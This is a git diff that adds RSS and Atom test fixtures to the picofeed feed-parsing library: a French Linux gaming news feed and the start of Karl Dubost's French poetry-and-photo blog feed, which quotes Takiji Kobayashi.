+Des tentatives de cr&#233;er des suites sont discut&#233;s &lt;a href=&quot;http://happypenguin.onkoistudios.com/&quot; class='spip_out' rel='external'&gt;ici&lt;/a&gt; et &lt;a href=&quot;http://linuxtimes.net/&quot; class='spip_out' rel='external'&gt;l&#224;.&lt;/a&gt;
+&lt;br /&gt;
+&lt;br /&gt;
+Le 13 avril 2013 f&#251;t donc une journ&#233;e de deuil pour tous les amoureux des jeux libres et des jeux sous Linux.&lt;/p&gt;&lt;/div&gt;
+
+ </content:encoded>
+
+ </item>
+
+ <item xml:lang="fr">
+ <title>Humble Bundle for android 5</title>
+ <link>http://www.jeuxlinux.fr/spip.php?breve1324</link>
+ <guid isPermaLink="true">http://www.jeuxlinux.fr/spip.php?breve1324</guid>
+ <dc:date>2013-03-14T12:54:12Z</dc:date>
+ <dc:format>text/html</dc:format>
+ <dc:language>fr</dc:language>
+
+
+ <description>Sortie il y a quelques jours, ce nouvel humble bundle propose 9 jeux disponibles sur linux, android, windows et mac : Beat Hazard Ultra Solar 2 Dynamite jack Nightsky hd Splice Super hexagon Dungeon defenders Crayon physics deluxe Sword &amp; sworcery Le tout au prix que vous (...)
+
+-
+&lt;a href="http://www.jeuxlinux.fr/spip.php?rubrique21" rel="directory"&gt;Previews&lt;/a&gt;
+
+
+ </description>
+
+
+ <content:encoded>&lt;div class='rss_texte'&gt;&lt;p&gt;Sortie il y a quelques jours, ce nouvel humble bundle propose 9 jeux disponibles sur linux, android, windows et mac :
+&lt;br /&gt;
+&lt;br /&gt;&lt;/p&gt; &lt;ul class=&quot;spip&quot;&gt;&lt;li&gt; &lt;a href=&quot;http://www.coldbeamgames.com/&quot; class='spip_out' rel='external'&gt;Beat Hazard Ultra&lt;/a&gt;&lt;/li&gt;&lt;li&gt; &lt;a href=&quot;http://murudai.com/solar/&quot; class='spip_out' rel='external'&gt;Solar 2&lt;/a&gt;&lt;/li&gt;&lt;li&gt; &lt;a href=&quot;http://www.galcon.com/games/?action=game&amp;name=dynamitejack&quot; class='spip_out' rel='external'&gt;Dynamite jack&lt;/a&gt;&lt;/li&gt;&lt;li&gt; &lt;a href=&quot;http://www.nicalis.com/nightsky/&quot; class='spip_out' rel='external'&gt;Nightsky hd&lt;/a&gt;&lt;/li&gt;&lt;li&gt; &lt;a href=&quot;http://www.cipherprime.com/games/splice/&quot; class='spip_out' rel='external'&gt;Splice&lt;/a&gt;&lt;/li&gt;&lt;li&gt; &lt;a href=&quot;http://www.jeuxlinux.fr/superhexagon.com&quot; class='spip_out'&gt;Super hexagon&lt;/a&gt;&lt;/li&gt;&lt;li&gt; &lt;a href=&quot;http://dungeondefenders.com/&quot; class='spip_out' rel='external'&gt;Dungeon defenders&lt;/a&gt;&lt;/li&gt;&lt;li&gt; &lt;a href=&quot;http://www.crayonphysics.com/&quot; class='spip_out' rel='external'&gt;Crayon physics deluxe&lt;/a&gt;&lt;/li&gt;&lt;li&gt; &lt;a href=&quot;http://www.swordandsworcery.com/&quot; class='spip_out' rel='external'&gt;Sword &amp; sworcery&lt;/a&gt;
+&lt;br /&gt;
+&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;
+&lt;p&gt;Le tout au prix que vous voulez. N&#233;anmoins pour avoir acc&#232;s &#224; splice, super hexagon, dungeon defenders, crayon physics deluxe et sword &amp; sworcery, vous devrez faire un paiement sup&#233;rieur &#224; la moyenne pour en profiter. Le bundle est accompagn&#233; des bandes-son originales des diff&#233;rents jeux.
+&lt;br /&gt;
+&lt;br /&gt;&lt;/p&gt; &lt;div class=&quot;centrer&quot;&gt;&lt;iframe style=&quot;margin: 0pt auto; border: medium none;&quot; src=&quot;http://www.humblebundle.com/_widget/html&quot; width=&quot;410&quot; height=&quot;150&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;/div&gt;
+
+ </content:encoded>
+
+ </item>
+
+ <item xml:lang="fr">
+ <title>Wargame EE sur Steam</title>
+ <link>http://www.jeuxlinux.fr/spip.php?breve1323</link>
+ <guid isPermaLink="true">http://www.jeuxlinux.fr/spip.php?breve1323</guid>
+ <dc:date>2013-03-06T01:33:57Z</dc:date>
+ <dc:format>text/html</dc:format>
+ <dc:language>fr</dc:language>
+
+<dc:subject>Strat&#233;gie</dc:subject>
+
+ <description>L'excellent jeu de strat&#233;gie Wargame European Escalation est maintenant disponible sur Linux, au travers de la plateforme Steam. Le mode multijoueur est compatible entre les diff&#233;rentes versions du jeu Windows, Mac et Linux. Wargame European Escalation est un jeu de strat&#233;gie en temps r&#233;el se (...)
+
+-
+&lt;a href="http://www.jeuxlinux.fr/spip.php?rubrique21" rel="directory"&gt;Previews&lt;/a&gt;
+
+/
+&lt;a href="http://www.jeuxlinux.fr/spip.php?mot10" rel="tag"&gt;Strat&#233;gie&lt;/a&gt;
+
+ </description>
+
+
+ <content:encoded>&lt;img class='spip_logos' alt=&quot;&quot; align=&quot;right&quot; src=&quot;http://www.jeuxlinux.fr/local/cache-vignettes/L150xH53/breveon1323-93d6c.jpg&quot; width='150' height='53' style='height:53px;width:150px;' /&gt;
+ &lt;div class='rss_texte'&gt;&lt;p&gt;L'excellent jeu de strat&#233;gie Wargame European Escalation est maintenant disponible sur Linux, au travers de la plateforme Steam.
+Le mode multijoueur est compatible entre les diff&#233;rentes versions du jeu Windows, Mac et Linux.
+&lt;br /&gt;
+&lt;br /&gt;&lt;/p&gt; &lt;p&gt;Wargame European Escalation est un jeu de strat&#233;gie en temps r&#233;el se d&#233;roulant pendant l'&#233;poque de la guerre froide. Les unit&#233;s sont fid&#233;lement mod&#233;lis&#233;es, avec un grand r&#233;alisme apport&#233; aux armes, protection, performances et autonomie. Le zoom permet de passer de l'ensemble du champ de bataille &#224; l'unit&#233; s&#233;lectionn&#233;e.
+&lt;br /&gt;
+&lt;br /&gt;&lt;/p&gt; &lt;p&gt;Pour ma part, il est compl&#232;tement fonctionnel sur Linux Mint 14 32bits, Intel Core 2 Quad Q8400, Nvidia GTX 560 avec drivers experimental-310. Le driver Nouveau offrait de mauvaises performances.&lt;/p&gt;&lt;/div&gt;
+
+ </content:encoded>
+
+ </item>
+
+
+</channel>
+
+</rss>
diff --git a/vendor/fguillot/picofeed/tests/fixtures/la-grange.xml b/vendor/fguillot/picofeed/tests/fixtures/la-grange.xml
new file mode 100644
index 000000000..8edfd2301
--- /dev/null
+++ b/vendor/fguillot/picofeed/tests/fixtures/la-grange.xml
@@ -0,0 +1,1139 @@
+<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="fr">
+<title>Carnets de La Grange</title>
+<subtitle>Chroniques d'un poète urbain</subtitle>
+<id>tag:la-grange.net,2000-04-12:karl</id>
+ <updated>2014-10-04T06:55:00Z</updated>
+<link href="http://www.la-grange.net/feed.atom" rel="self" type="application/atom+xml" />
+<link href="http://www.la-grange.net/" rel="alternate" type="application/xhtml+xml" />
+<link href="http://creativecommons.org/licenses/by/2.0/fr/" rel="license" />
+<icon>http://www.la-grange.net/favicon.png</icon>
+<author>
+ <name>Karl Dubost</name>
+ <uri>http://www.la-grange.net/karl/</uri>
+</author>
+
+<entry>
+ <id>tag:la-grange.net,2014-08-06:2014/08/06/eau</id>
+ <link rel="alternate" type="text/html" href="http://www.la-grange.net/2014/08/06/eau"/>
+ <title>Un barrage contre le porche</title>
+ <published>2014-08-06T23:59:00+02:00</published>
+ <updated>2014-10-04T06:55:00Z</updated>
+ <content type="xhtml">
+ <div xmlns="http://www.w3.org/1999/xhtml"><article>
+<figure>
+ <img src="/2014/08/06/4694-pluie" alt="Flaque de pluie"/>
+ <figcaption>La Saussaye, France, 6 août 2014</figcaption>
+</figure>
+
+
+<div lang="en" class="extrait">
+ <blockquote cite="urn:isbn:978-0-8248-3742-6">
+ <p>Spring had truly arrived. Countless streams suddenly materialized all over the roads, fields, grasslands, and thickets; flowing as if the melting snow's waters were spilling over. </p>
+ </blockquote>
+ <p class="source"><span class="auteur">Takiji Kobayashi</span>, <cite class="titre">Yasuko</cite>.</p>
+</div>
+
+<p>La pluie abonde. La forêt humide resplendit. L'eau monte, l'eau déborde. Il reste pourtant notre humanité. Toute entière, resplendissante.</p>
+
+</article>
+</div>
+ </content>
+ <link xmlns="http://www.w3.org/2005/Atom" rel="license" href="http://creativecommons.org/licenses/by/2.0/fr/"/>
+</entry>
+
+<entry>
+ <id>tag:la-grange.net,2014-08-05:2014/08/05/foret</id>
+ <link rel="alternate" type="text/html" href="http://www.la-grange.net/2014/08/05/foret"/>
+ <title>Le sens de la forêt</title>
+ <published>2014-08-05T23:59:00+02:00</published>
+ <updated>2014-10-04T06:42:00Z</updated>
+ <content type="xhtml">
+ <div xmlns="http://www.w3.org/1999/xhtml"><article>
+<figure>
+ <img src="/2014/08/05/4692-foret" alt="Feuillage d'arbre et cheveux"/>
+ <figcaption>La Saussaye, France, 5 août 2014</figcaption>
+</figure>
+
+
+<div lang="en" class="extrait">
+ <blockquote cite="urn:isbn:978-0-8248-3742-6">
+ <p>Well, let's do it again, one more time!</p>
+ </blockquote>
+ <p class="source"><span class="auteur">Takiji Kobayashi</span>, <cite class="titre">The Crab Cannery Ship</cite>.</p>
+</div>
+
+<p>L'arbre appelle le refuge. La forêt ouvre la pensée. </p>
+
+</article>
+</div>
+ </content>
+ <link xmlns="http://www.w3.org/2005/Atom" rel="license" href="http://creativecommons.org/licenses/by/2.0/fr/"/>
+
+</entry>
+<entry>
+ <id>tag:la-grange.net,2014-08-04:2014/08/04/grenier</id>
+ <link rel="alternate" type="text/html" href="http://www.la-grange.net/2014/08/04/grenier"/>
+ <title>Le lieu du temps transposé</title>
+ <published>2014-08-04T23:59:00+02:00</published>
+ <updated>2014-10-04T05:56:00Z</updated>
+ <content type="xhtml">
+ <div xmlns="http://www.w3.org/1999/xhtml"><article>
+<figure>
+ <img src="/2014/08/04/4686-magazine" alt="Pile de magazines de cinéma"/>
+ <figcaption>La Saussaye, France, 4 août 2014</figcaption>
+</figure>
+
+
+<div lang="en" class="extrait">
+ <blockquote cite="urn:isbn:978-0-8248-3742-6">
+ <p>Next they showed one foreign and one japanese movie, but the celluloid was so badly scratched that everything seemed streaked with rain. What was worse, the film seemed to have broken in places and been spliced together, imparting jerky movements to the actors. Yet no one cared about that. Everyone was completely engrossed in the film. </p>
+ </blockquote>
+ <p class="source"><span class="auteur">Takiji Kobayashi</span>, <cite class="titre">The Crab Cannery Ship</cite>.</p>
+</div>
+
+<p>Le grenier est le lieu du temps transposé, une longue respiration. Ce n'est pas toujours là que l'on y trouve le souvenir, tant les choses peuvent être lointaines et étranges. Mais c'est certainement l'émerveillement du trésor que l'on découvre sans l'avoir même cherché. Aujourd'hui sur une étagère, entassés, quelques magazines de cinéma révèlent une actualité d'un autre moment et donnent l'envie de l'exploration. Un article donne les clés de l'érotisme au cinéma japonais à travers <a href="https://en.wikipedia.org/wiki/Daydream_%281964_film%29">un film</a> de Tetsuji Takechi.</p>
+
+<figure>
+ <img src="/2014/08/04/4687-erotique" alt="Article de magazine sur l'érotique japonaise"/>
+ <figcaption>La Saussaye, France, 4 août 2014</figcaption>
+</figure>
+
+</article>
+</div>
+ </content>
+ <link xmlns="http://www.w3.org/2005/Atom" rel="license" href="http://creativecommons.org/licenses/by/2.0/fr/"/>
+</entry>
+<entry>
+ <id>tag:la-grange.net,2014-08-03:2014/08/03/rythme</id>
+ <link rel="alternate" type="text/html" href="http://www.la-grange.net/2014/08/03/rythme"/>
+ <title>Le rythme du monde</title>
+ <published>2014-08-03T23:59:00+02:00</published>
+ <updated>2014-09-29T13:09:00Z</updated>
+ <content type="xhtml">
+ <div xmlns="http://www.w3.org/1999/xhtml"><article>
+<figure>
+ <img src="/2014/08/03/4668-noisettes" alt="Noisettes dans un bol"/>
+ <figcaption>La Saussaye, France, 3 août 2014</figcaption>
+</figure>
+
+
+<div lang="en" class="extrait">
+ <blockquote cite="urn:isbn:978-0-8248-3742-6">
+ <p>Far off to the right the light of the Shukutsu lighthouse, flashing each time it revolved, penetrated the gray expanse of sea-like fog. Its long and distant silvery beam swept mystically for miles around as it pivoted.</p>
+ </blockquote>
+ <p class="source"><span class="auteur">Takiji Kobayashi</span>, <cite class="titre">The Crab Cannery Ship</cite>.</p>
+</div>
+
+<p>Sur la table, un bol de noisettes encore vertes, le parfum de la chlorophylle, l'involucre moelleux sous les ongles et le craquement de l'écale donnent l'essence du plaisir.</p>
+
+<figure>
+ <img src="/2014/08/03/4674-brioches" alt="Brioches chaudes sorties du four"/>
+ <figcaption>Saint-Germain de Pasquier, France, 3 août 2014</figcaption>
+</figure>
+
+<p>Dans le four à pain, des brioches encore chaudes, le beurre sous les narines, la mie du moment sous les dents et le chuchottement du jour donnent l'envie de la suspension.</p>
+
+<figure>
+ <img src="/2014/08/03/4682-bois" alt="Tas de bois"/>
+ <figcaption>La Saussaye, France, 3 août 2014</figcaption>
+</figure>
+
+<p>Dans la forêt, des branches de bois mort, grisé par le champignon et l'humus, les insectes sous l'écorce et le poids sur les épaules vous tirent vers la cime des arbres.</p>
+
+<p>Le rythme du monde s'étale lentement entre les larges secondes d'une respiration.</p>
+</article>
+</div>
+ </content>
+ <link xmlns="http://www.w3.org/2005/Atom" rel="license" href="http://creativecommons.org/licenses/by/2.0/fr/"/>
+</entry>
+<entry>
+ <id>tag:la-grange.net,2014-08-02:2014/08/02/petales</id>
+ <link rel="alternate" type="text/html" href="http://www.la-grange.net/2014/08/02/petales"/>
+ <title>Une fois de plus, un pétale</title>
+ <published>2014-08-02T23:59:00+02:00</published>
+ <updated>2014-09-29T12:11:00Z</updated>
+ <content type="xhtml">
+ <div xmlns="http://www.w3.org/1999/xhtml"><article>
+<figure>
+ <img src="/2014/08/02/4659-petales" alt="Boutons de rose et pétales sur le sol"/>
+ <figcaption>La Saussaye, France, 2 août 2014</figcaption>
+</figure>
+
+
+<div lang="en" class="extrait">
+ <blockquote cite="urn:isbn:978-0-8248-3742-6">
+ <p>Well. Let's do it again. One more time.</p>
+ </blockquote>
+ <p class="source"><span class="auteur">Takiji Kobayashi</span>, <cite class="titre">The Crab Cannery Ship</cite>.</p>
+</div>
+
+<p>Pain oublié dans le grille-pain, un peu de fumée. Je suis seul dans la cuisine. Décalage horaire. Il est tôt. Tout le monde dort. Le parfum de la forêt en bouffée quand on ouvre la porte d'entrée. Les pétales de rose vaincues par la rosée se sont posés au sol. Le thé dans un bol avec un motif floral, je trempe mes lèvres doucement, patiemment. Je goûte à l'amertume avec plaisir.</p>
+<p>Il faudra plus d'un pétale pour disparaître.</p>
+
+</article>
+</div>
+ </content>
+ <link xmlns="http://www.w3.org/2005/Atom" rel="license" href="http://creativecommons.org/licenses/by/2.0/fr/"/>
+</entry>
+<entry>
+ <id>tag:la-grange.net,2014-08-01:2014/08/01/riz</id>
+ <link rel="alternate" type="text/html" href="http://www.la-grange.net/2014/08/01/riz"/>
+ <title>Quand le voyage commence-t-il ?</title>
+ <published>2014-08-01T23:59:00+09:00</published>
+ <updated>2014-09-28T12:17:00Z</updated>
+ <content type="xhtml">
+ <div xmlns="http://www.w3.org/1999/xhtml"><article>
+<figure>
+ <img src="/2014/08/01/rizieres" alt="Vues depuis le train de champs de riz"/>
+ <figcaption>Narita, Japon, 1er août 2014</figcaption>
+</figure>
+
+
+<div lang="en" class="extrait">
+ <blockquote cite="urn:isbn:978-0-8248-3742-6">
+ <p>Treasure every grain of rice. It's a gift of blood and sweat.</p>
+ </blockquote>
+ <p class="source"><span class="auteur">Takiji Kobayashi</span>, <cite class="titre">The Crab Cannery Ship</cite>.</p>
+</div>
+
+<p>Je suis dans le Narita Express à destination de l'aéroport. Devant mes yeux défilent les collines, les maisons blotties près de la forêt et surtout les longues rizières. Tout est si vert, si troublant, si délicat. Je glisse à la surface des brins, je suis le vent. Ce voyage a-t-il débuté ? Était-ce lorsque j'ai réservé le billet d'avion ou bien avant lorsque j'ai conçu l'idée. Était-ce ce moment où j'ai fermé la porte, marché dans la rue ? Ou cela commence-t-il demain lorsque je serais à l'aéroport en France ?</p>
+
+<p>Le premier grain de riz au bout de mes baguettes qui me donne le goût est indéterminé et pourtant il est bien là.</p>
+
+<p class="note"><strong>1er août 2014</strong> : Mes <a href="/2013/06/28/rebours">écritures à rebours</a> me donnent l'espace de la respiration, donnent de l'épaisseur à l'opacité et donc une plus grande liberté.</p>
+</article>
+</div>
+ </content>
+ <link xmlns="http://www.w3.org/2005/Atom" rel="license" href="http://creativecommons.org/licenses/by/2.0/fr/"/>
+</entry>
+
+<entry>
+ <id>tag:la-grange.net,2014-07-31:2014/07/31/adresse</id>
+ <link rel="alternate" type="text/html" href="http://www.la-grange.net/2014/07/31/adresse"/>
+ <title>Le lieu physique et son intimité</title>
+ <published>2014-07-31T23:59:00+09:00</published>
+ <updated>2014-09-27T07:16:00Z</updated>
+ <content type="xhtml">
+ <div xmlns="http://www.w3.org/1999/xhtml"><article>
+<figure>
+ <img src="/2014/07/12/4519-mailbox" alt="Boîtes aux lettres dans une entrée d'immeuble"/>
+ <figcaption>Atami, Japon, 12 juillet 2014</figcaption>
+</figure>
+
+
+<div lang="en" class="extrait">
+ <blockquote cite="urn:isbn:978-0-8248-3742-6">
+ <p>Not even a woman could captivate the fishermen and sailors as much as the supply ship did. This ship did not stink of fish, and it bore the fragrance of Hakodate. It carried a fragrance of that solid earth that they had not trodden for months, for hundreds of days. Moreover, the supply ship delivered long-delayed letters, shirts, underwear, magazines, and various other necessities.</p>
+ </blockquote>
+ <p class="source"><span class="auteur">Takiji Kobayashi</span>, <cite class="titre">The Crab Cannery Ship</cite>.</p>
+</div>
+
+<p><a href="http://nota-bene.org/">Stéphane</a> et <a href="http://emmanuel.clement.free.fr/">Emmanuel</a> ont démarré une <a href="http://nota-bene.org/La-belle-langue-en-vacances">conversation</a> qui me tient à cœur. J'ai pris quelques notes rapides dans mon carnet.</p>
+
+<div class="extrait">
+ <blockquote cite="http://nota-bene.org/La-belle-langue-en-vacances">
+ <p>Emmanuel a lancé l’idée qu’on s’écrive les uns les autres des cartes postales, après qu’Olivier a noté que c’était fini, tout ça, à l’époque des emails. Alors joignons l’utile à l’agréable et dérouillons, avant les cartes, nos jointures vermoulues sur un cahier acheté à l’occasion des vacances, comme souvent.</p>
+ </blockquote>
+ <p class="source"><span class="auteur">Stéphane Deschamp</span>, <cite class="titre">la belle langue en vacances</cite>.</p>
+</div>
+
+<p>Donner son adresse postale à un tiers m'est devenu de plus en plus difficile. Je m'exécute quand les circonstances l'exigent. Les administrations, les services de livraison, les banques ont une dépendance de leurs systèmes sur l'identification physique du lieu de vie qu'il est très difficile d'y échapper. Je lutte déjà très souvent contre le requis du téléphone. Mais le propos n'est pas là. Non, il s'agit de délivrer la clé de l'accès à un lieu qui est sacré : le lieu où j'habite.</p>
+
+<p>Cela tient peut-être à la clairière dans la forêt, au lieu sanctuaire où l'on peut écrire les notes de sa cabane. Peut-être que c'est juste absurde et que je devrais me soucier beaucoup moins de cette inquiétude. Ce partage inconfortable s'est accentué avec tous les services de gestion du carnet d'adresses en ligne. Les personnes rentrent l'adresse dans le carnet d'adresses de leur ordinateur, la synchronise avec leurs téléphones en ligne et parfois avec un service de synchronisation distant. Certaines applications demandent l'accès au carnet d'adresse pour rechercher les adresses email et faire des croisements avec leur base de données et au même moment en profitent pour accéder à de nombreuses autres données, dont l'adresse.</p>
+
+<p>Lorsque je travaille avec un bureau physique quotidien, je donne souvent mon adresse de bureau. C'est une façon de permettre l'anonymat physique de l'intime sans bloquer la communication. Mais lorsque l'on travaille de chez soi, cet anonymat devient de plus en plus délicat. Je pense très souvent à ouvrir une case postale dans une poste afin de recréer ce tampon.</p>
+
+<p>Quand finalement, je me décide à donner confiance à mon interlocuteur, je précise de ne pas partager l'adresse avec qui que ce soit individus ou entités, et bien sûr, de ne pas partager avec les services en ligne. Ce qui rend la gestion de mon adresse quelque peu contraignante.</p>
+
+<p>Tout ceci n'est pas tout à fait rationnel, puisque j'ai plaisir à écrire ou dessiner sur le papier et à envoyer quelques mots dans la boite aux lettres postales d'une personne lorsque je voyage. Je trouve aussi que le rythme d'envoi et de réponse de la correspondance manuscrite est finalement beaucoup plus humain que celle du courrier. Non pas que l'électronique change quoi que ce soit, si ce n'est que les personnes ont construit une attente de réponse immédiate à un message, alors que préfère prendre du temps pour répondre.</p>
+
+<p>Donc tout comme Stéphane, oui j'aime cela écrire, et délier la langue dans le creux du papier, mais je note aussi que je suis un ours pour ce qui est de l'accès à mon adresse.</p>
+
+</article>
+</div>
+ </content>
+ <link xmlns="http://www.w3.org/2005/Atom" rel="license" href="http://creativecommons.org/licenses/by/2.0/fr/"/>
+</entry>
+<entry>
+ <id>tag:la-grange.net,2014-07-30:2014/07/30/reparer</id>
+ <link rel="alternate" type="text/html" href="http://www.la-grange.net/2014/07/30/reparer"/>
+ <title>Le choix de la durée</title>
+ <published>2014-07-30T23:59:00+09:00</published>
+ <updated>2014-09-26T13:37:00Z</updated>
+ <content type="xhtml">
+ <div xmlns="http://www.w3.org/1999/xhtml"><article>
+<figure>
+ <img src="/2014/07/12/4536-noren" alt="Noren avec des morceaux de scotch"/>
+ <figcaption>Atami, Japon, 12 juillet 2014</figcaption>
+</figure>
+
+
+<div lang="en" class="extrait">
+ <blockquote cite="urn:isbn:978-0-8248-3742-6">
+ <p>Each morning before starting to work, everybody gathered in one corner of the factory. Their faces all looked like those of mud dolls.</p>
+ <p>"I'm going to slow down," said the miner. "I just can't keep this up."</p>
+ <p>Worker's faces came to life but no one spoke. Then someone said, "You're going to get yourself branded, you know…"</p>
+ <p>I'm not trying to get out of the work. I just can't do it.</p>
+ </blockquote>
+ <p class="source"><span class="auteur">Takiji Kobayashi</span>, <cite class="titre">The Crab Cannery Ship</cite>.</p>
+</div>
+
+<p>En informatique, nous disons souvent « Si ce n'est pas cassé, on n'y touche pas. » Il y a plus de risques à modifier un système qui fonctionne avec satisfaction plutôt que de tenter de l'améliorer. Optimiser pour le seul but de la perfection n'est pas une action suffisamment intéressante. C'est le côté Confucius de l'informatique.</p>
+
+<p>Il y a ce restaurant de yakitori qui a réparé son enseigne avec des morceaux de scotchs transparents plutôt que de jeter l'ancien et de le remplacer par un nouveau noren. Cette fois-ci, il s'agit de patcher un système afin qu'il puisse durer un peu plus longtemps. Encore une fois, ce n'est pas une recherche de la perfection, mais bien plus de la longévité.</p>
+
+<p>Nous oublions bien souvent que nos systèmes peuvent durer très longtemps sans les mettre à jour et en les réparant juste de façon nécessaire. Est-ce un problème ? Moins souvent que l'on veuille bien le penser.</p>
+
+
+</article>
+</div>
+ </content>
+ <link xmlns="http://www.w3.org/2005/Atom" rel="license" href="http://creativecommons.org/licenses/by/2.0/fr/"/>
+</entry>
+<entry>
+ <id>tag:la-grange.net,2014-07-29:2014/07/29/protection</id>
+ <link rel="alternate" type="text/html" href="http://www.la-grange.net/2014/07/29/protection"/>
+ <title>La lutte du jardin</title>
+ <published>2014-07-29T23:59:00+09:00</published>
+ <updated>2014-09-26T12:39:00Z</updated>
+ <content type="xhtml">
+ <div xmlns="http://www.w3.org/1999/xhtml"><article>
+<figure>
+ <img src="/2014/07/12/4454-femmes" alt="Une rue, deux femmes, et une haie coupée"/>
+ <figcaption>Tsujido, Japon, 27 juillet 2014</figcaption>
+</figure>
+
+
+<div lang="en" class="extrait">
+ <blockquote cite="urn:isbn:978-0-8248-3742-6">
+ <p>"The damned lice are going to devour us alive."</p>
+ <p>"Yeah, that'll be a wonderful way to go."</p>
+ <p>They could not help laughing.</p>
+ </blockquote>
+ <p class="source"><span class="auteur">Takiji Kobayashi</span>, <cite class="titre">The Crab Cannery Ship</cite>.</p>
+</div>
+
+<p>Une femme agée coupe la haie. Aligner le feuillage avec la route, ne pas envahir, trop, l'espace commun. Elle s'est couverte, un chapeau, des gants, un masque facial, une serviette éponge autour du cou, un pantalon long et un tablier. Son armure souple la protège des moustiques voraces. Elle a tout de même une dernière botte secrète à son attirail. À sa ceinture, elle a accroché la boite métallique pour permettre les spirales vertes contre les insectes trop amoureux. Ce n'est pas l'encens du temple mais la fumée de l'anti-moustique que je sens.</p>
+
+<p>Et dans cette rue, la rêverie des boîtes de spirales anti-moustiques s'éveille. Les moustiques sont loin.</p>
+
+<figure>
+ <img src="/2014/07/29/katori-senkou-kinchou" alt="Boîte de spirales antimoustiques"/>
+ <figcaption lang="ja">蚊å–り線香 金鳥</figcaption>
+</figure>
+
+</article>
+</div>
+ </content>
+ <link xmlns="http://www.w3.org/2005/Atom" rel="license" href="http://creativecommons.org/licenses/by/2.0/fr/"/>
+
+</entry>
+<entry>
+ <id>tag:la-grange.net,2014-07-28:2014/07/28/cendres</id>
+ <link rel="alternate" type="text/html" href="http://www.la-grange.net/2014/07/28/cendres"/>
+ <title>La chaleur des cendres</title>
+ <published>2014-07-28T23:59:00+07:00</published>
+ <updated>2014-09-26T12:16:00Z</updated>
+ <content type="xhtml">
+ <div xmlns="http://www.w3.org/1999/xhtml"><article>
+<figure>
+ <img src="/2014/07/27/4565-tombes" alt="Cinq tombes dans un pré"/>
+ <figcaption>Tsujido, Japon, 27 juillet 2014</figcaption>
+</figure>
+
+
+<div lang="en" class="extrait">
+ <blockquote cite="urn:isbn:978-0-8248-3742-6">
+ <p>The great storm had snatched away from the men any ability to steer the boat, making them more helpless than a chid gripped by the scruff of its neck. They had gone out the farthest, and now the wind was blowing them even farther. All were prepared for the worst. Fishermen are trained to bid life good-bye at a moment's notice.</p>
+ </blockquote>
+ <p class="source"><span class="auteur">Takiji Kobayashi</span>, <cite class="titre">The Crab Cannery Ship</cite>.</p>
+</div>
+
+<p>Le feu permet la cendre. La cendre permet l'exigüité. L'exigüité permet la proximité. La proximité permet le souvenir. Le souvenir permet l'humanité.</p>
+
+</article>
+</div>
+ </content>
+ <link xmlns="http://www.w3.org/2005/Atom" rel="license" href="http://creativecommons.org/licenses/by/2.0/fr/"/>
+</entry>
+
+<entry>
+ <id>tag:la-grange.net,2014-07-27:2014/07/27/quartier</id>
+ <link rel="alternate" type="text/html" href="http://www.la-grange.net/2014/07/27/quartier"/>
+ <title>La vie de quartier</title>
+ <published>2014-07-27T23:59:00+07:00</published>
+ <updated>2014-09-22T13:11:00Z</updated>
+ <content type="xhtml">
+ <div xmlns="http://www.w3.org/1999/xhtml"><article>
+<figure>
+ <img src="/2014/07/27/4569-tatami" alt="Intérieur d'un atelier de tatami"/>
+ <figcaption>Tsujido, Japon, 27 juillet 2014</figcaption>
+</figure>
+
+
+<div lang="en" class="extrait">
+ <blockquote cite="urn:isbn:978-0-8248-3742-6">
+ <p>Recalling the previous day's horrendous work, everyone concluded that the man had been swept away by the waves. It made them feel awful. They were forced to resume work before dawn and had no chance to talk about it.</p>
+ </blockquote>
+ <p class="source"><span class="auteur">Takiji Kobayashi</span>, <cite class="titre">The Crab Cannery Ship</cite>.</p>
+</div>
+
+<p>Par la fenêtre, le silence de l'atelier s'expose. L'artisan a délaissé ses tatamis pour la journée. Peut-être est-il avec les autres pour porter le « mikoshi » de son bloc. Ensemble. Dans le son tumultueux des tambours et du pipeau. Ensemble. Sous la chaleur et la poussière.</p>
+
+<figure>
+ <img src="/2014/07/27/4584-mikoshi" alt="Mains sur une poutre du mikoshi"/>
+ <figcaption>Tsujido, Japon, 27 juillet 2014</figcaption>
+</figure>
+
+</article>
+</div>
+ </content>
+ <link xmlns="http://www.w3.org/2005/Atom" rel="license" href="http://creativecommons.org/licenses/by/2.0/fr/"/>
+
+</entry>
+<entry>
+ <id>tag:la-grange.net,2014-07-26:2014/07/26/matsuri</id>
+ <link rel="alternate" type="text/html" href="http://www.la-grange.net/2014/07/26/matsuri"/>
+ <title>Matsuri de quartier</title>
+ <published>2014-07-26T23:59:00+07:00</published>
+ <updated>2014-09-22T12:57:00Z</updated>
+ <content type="xhtml">
+ <div xmlns="http://www.w3.org/1999/xhtml"><article>
+<figure>
+ <img src="/2014/07/26/4560-matsuri" alt="Groupes de personnes en face du temple"/>
+ <figcaption>Tsujido, Japon, 26 juillet 2014</figcaption>
+</figure>
+
+
+<div lang="en" class="extrait">
+ <blockquote cite="urn:isbn:978-0-8248-3742-6">
+ <p>Sitting cross-legged and placing plates of salted fish across their legs, they blew against the steam, filled their cheeks with hot bits of fish, and rolled them around inside their mouths. The food was the first hot object they had been near all day, and their noses kept running, threatening to drip into the dishes.</p>
+ </blockquote>
+ <p class="source"><span class="auteur">Takiji Kobayashi</span>, <cite class="titre">The Crab Cannery Ship</cite>.</p>
+</div>
+
+<p>C'est le temps de la fête de quartier. Les vendeurs s'alignent dans la rue. Les gens boivent, discutent, échangent, rient et mangent. Les jeunes femmes ont mis leur plus beau yukata. Nous traversons une barquette de pommes de terre au beurre dans la main.</p>
+
+<figure>
+ <img src="/2014/07/26/4563-matsuri" alt="Groupes de personnes dans la rue"/>
+ <figcaption>Tsujido, Japon, 26 juillet 2014</figcaption>
+</figure>
+
+</article>
+</div>
+ </content>
+ <link xmlns="http://www.w3.org/2005/Atom" rel="license" href="http://creativecommons.org/licenses/by/2.0/fr/"/>
+</entry>
+<entry>
+ <id>tag:la-grange.net,2014-07-25:2014/07/25/sacs</id>
+ <link rel="alternate" type="text/html" href="http://www.la-grange.net/2014/07/25/sacs"/>
+ <title>Éco, éco</title>
+ <published>2014-07-25T23:59:00+07:00</published>
+ <updated>2014-09-22T12:45:00Z</updated>
+ <content type="xhtml">
+ <div xmlns="http://www.w3.org/1999/xhtml"><article>
+<figure>
+ <img src="/2014/07/24/4553-poisson" alt="Deux poissons sur du papier"/>
+ <figcaption>Tsujido, Japon, 24 juillet 2014</figcaption>
+</figure>
+
+
+<div lang="en" class="extrait">
+ <blockquote cite="urn:isbn:978-0-8248-3742-6">
+ <p>Everyone was silent. All the same, they felt relieved.</p>
+ </blockquote>
